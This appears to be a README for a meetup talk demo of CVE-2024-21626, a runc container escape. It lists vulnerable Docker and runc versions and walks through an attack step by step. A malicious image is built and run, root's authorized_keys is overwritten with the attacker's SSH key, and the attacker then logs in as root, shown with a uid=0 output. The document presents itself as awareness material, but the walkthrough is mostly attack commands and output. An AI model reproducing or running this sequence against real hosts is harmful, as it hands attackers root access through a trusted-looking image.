
Container Runtime Meetup #5 のLT用のデモ
Demo for the LT at Container Runtime Meetup #5.
This is to raise awareness of the attack risk based on publicly known information, and misuse is strictly prohibited.
Container Runtime Meetup #5 - Can You Really Trust That Image? Taking Host Root with CVE-2024-21626
The machine registered as victim-server in the ssh_config of the demo laptop.
ssh victim-server
Version information as prerequisites for the victim:
ubuntu@victim-server:$ docker --version
Docker version 20.10.25+dfsg1, build b82b9f3
ubuntu@victim-server:$ runc --version
runc version 1.1.10+ds1
commit: 1.1.10+ds1-1
spec: 1.1.0
go: go1.21.3
libseccomp: 2.5.4
Similarly
ssh attacker-server
ubuntu@victim-server:~$ git clone [email protected]:laysakura/CVE-2024-21626-demo.git
ubuntu@victim-server:~$ cd CVE-2024-21626-demo/
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker build -t myimage .
ubuntu@victim-server:~/CVE-2024-21626-demo$ docker run -it myimage
/root/.ssh/authorized_keys is overwritten with the attacker's public keyThis is not intended, so nothing is done here, but the command to confirm the situation is shown.
ubuntu@victim-server:~$ sudo cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKPHHGSytV6bL1ryaEKE9XNWN23piXdzsI3Rzxe20IF6 ubuntu@attacker-server
attacker@attacker-server:~$ ssh -i .ssh/id_ed25519 root@victim-server
root@victim-server:~# id
uid=0(root) gid=0(root) groups=0(root)